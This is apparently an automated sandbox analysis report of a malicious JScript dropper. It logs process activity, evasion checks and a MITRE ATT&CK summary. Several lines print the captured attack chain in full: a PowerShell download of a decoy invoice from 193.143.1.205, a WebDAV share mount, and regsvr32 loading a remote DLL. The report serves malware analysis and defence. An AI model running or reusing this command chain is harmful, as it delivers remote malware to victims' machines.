Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\5447.js.csv");ITextStream.WriteLine(" entry:8078 f:fwugsbzm");ITextStream.WriteLine(" exec:2 f:fwugsbzm");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49711

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4310			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5548			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2188	Thread sleep count: 4310 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7112	Thread sleep count: 5548 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6428	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6972	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 2364	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6280	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.2191744086.00000146F8478000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWpBN
Source: net.exe, 00000007.00000002.2191744086.00000146F84DF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3423664462.000001FD6BE59000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000002.2191744086.00000146F84DF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWi
Source: svchost.exe, 00000009.00000002.3422285891.000001FD6662B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
